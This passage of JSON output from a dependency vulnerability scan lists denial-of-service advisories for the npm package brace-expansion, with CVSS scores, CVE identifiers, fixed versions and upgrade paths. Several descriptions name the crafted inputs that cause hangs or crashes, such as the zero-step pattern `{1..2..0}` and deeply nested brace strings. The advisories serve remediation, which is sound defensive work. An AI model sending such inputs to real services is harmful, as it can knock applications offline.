"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
